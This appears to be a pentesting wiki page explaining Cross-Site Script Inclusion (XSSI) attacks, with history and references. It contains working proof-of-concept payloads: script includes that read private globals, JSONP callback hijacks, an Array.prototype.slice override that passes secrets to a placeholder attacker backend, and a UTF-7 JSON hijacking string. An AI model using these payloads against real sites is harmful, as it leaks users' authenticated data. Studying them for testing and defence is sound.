XSSI (Cross-Site Script Inclusion)

The information was taken from https://www.scip.ch/en/?labs.20160414

Basic Information

XSSI designates a kind of vulnerability which exploits the fact that, when a resource is included using the script tag, the SOP doesn’t apply, because scripts have to be able to be included cross-domain. An attacker can thus read everything that was included using the script tag.

This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called ambient-authority information like cookies are used for authentication. The cookies are included when requesting a resource from a different host.

Types

  1. Static JavaScript (regular XSSI)
  2. Static JavaScript, which is only accessible when authenticated
  3. Dynamic JavaScript
  4. Non-JavaScript

Regular XSSI

The private information is located inside a global accessible JS file, you can just detect this by reading files, searching keywords or using regexps.
To exploit this, just include the script with private information inside the malicious content:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI

Confidential information is added to the script when a user requests it. This can be easily discovered by sending the request with and without the cookies, if different information is retrieved, then confidential information could be contained. To do this automatically you can use burp extension: https://github.com/luh2/DetectDynamicJS.

If the information resides inside a global variable, you you can exploit it using the same code as for the the previous case.
If the confidential data is sent inside a JSONP response, you can override the executed function to retrieve the information:

<script>
      //The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
      var angular = function () { return 1; };
      angular.callbacks = function () { return 1; };      
      angular.callbacks._7 = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

Or you could also set a prepared function to be executed by the JSONP response:

<script>
      leak = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using prototype tampering. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper The Unexpected Dangers of Dynamic JavaScript and demonstrates how overriding a relevant function of type Array and access to this, a non-global variable can be leaked as well.

(function(){
  var arr = ["secret1", "secret2", "secret3"];
  // intents to slice out first entry
  var x = arr.slice(1);
  ...
})();

In the original code slice from type Array accesses the data we’re interested in. An attacker can, as described in the preceding clause, override slice and steal the secrets.

Array.prototype.slice = function(){
  // leaks ["secret1", "secret2", "secret3"]
  sendToAttackerBackend(this);
};

Security Researcher Sebastian Lekies just recently updated his list of vectors.

Non-Script-XSSI

Takeshi Terada describes another kind of XSSI in his paper Identifier based XSSI attacks. He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the script tag, using the data as variable and function names.

The first publicly documented XSSI attack was in 2006. Jeremiah Grossman’s blog entry Advanced Web Attack Techniques using GMail depicts a XSSI, which by overriding the Array constructor was able to read the complete address book of a google account.

In 2007 Joe Walker published JSON is not as safe as people think it is. He uses the same idea to steal JSON that is inside an Array.

Other related attacks were conducted by injecting UTF-7 encoded content into the JSON to escape the JSON format. It is described by Gareth Heyes, author of Hackvertor, in the blog entry JSON Hijacking released in 2011. In a quick test, this was still possible in Microsoft Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome.

JSON with UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Including the JSON in the attacker’s page

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>